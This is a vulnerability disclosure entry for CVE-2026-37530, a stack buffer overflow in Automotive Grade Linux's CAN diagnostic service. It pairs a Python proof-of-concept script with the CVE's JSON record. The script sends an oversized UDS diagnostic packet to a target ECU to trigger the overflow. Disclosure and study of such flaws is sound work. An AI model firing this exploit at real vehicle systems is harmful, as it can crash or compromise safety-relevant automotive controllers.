CVE-2026-37530

# PoC for CVE-2026-37530 # This script demonstrates the stack buffer overflow by sending # a crafted diagnostic request with payload_length = 7. import socket import struct def send_exploit(target_ip, target_port): try: # Connect to the vulnerable AGL service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct malicious UDS-like packet # pid_length is assumed to be 2 bytes for this example # Offset = 1 (header) + 2 (pid) = 3 # Buffer size = 6 # Writing 7 bytes at offset 3 overwrites 4 bytes (Return Address + saved FP) pid = b"\x01\x02" # Payload length set to 7 (MAX_UDS_REQUEST_PAYLOAD_LENGTH) # This exceeds the allocated 6-byte stack buffer payload = b"\x41" * 7 # 'A' * 7 # Construct packet: [SID] [Length] [PID] [Payload] packet = b"\x2E" # Example Service ID for diagnostic control packet += struct.pack("B", len(payload)) # uint8_t payload_length (no bounds check) packet += pid packet += payload print(f"[*] Sending exploit payload to {target_ip}:{target_port}") s.send(packet) print("[*] Payload sent. Check ECU for crash or shell.") except Exception as e: print(f"[-] Exploit failed: {e}") finally: s.close() if __name__ == "__main__": # Replace with actual target IP and Port send_exploit("192.168.1.10", 8080)

{"cve": {"id": "CVE-2026-37530", "sourceIdentifier": "[email protected]", "published": "2026-05-01T17:16:22.603", "lastModified": "2026-05-07T15:15:06.770", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "AGL agl-service-can-low-level thru 17.1.12 contains a stack buffer overflow in the uds-c library. The send_diagnostic_request function in uds.c allocates a 6-byte stack buffer (MAX_DIAGNOSTIC_PAYLOAD_SIZE=6) but copies up to 7 bytes (MAX_UDS_REQUEST_PAYLOAD_LENGTH=7) via memcpy at an offset of 1+pid_length (2-3 bytes), resulting in 1-4 bytes of controlled stack overflow. The payload_length field (uint8_t) has no bounds check against the destination buffer. On 32-bit ARM automotive ECUs without stack canaries, this can lead to return address overwrite and RCE."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://gerrit.automotivelinux.org/gerrit/apps/agl-service-can-low-level", "source": "[email protected]"}, {"url": "https://gist.github.com/sgInnora/8526eedcfd826d05ef1fc45d8f405643", "source": "[email protected]"}]}}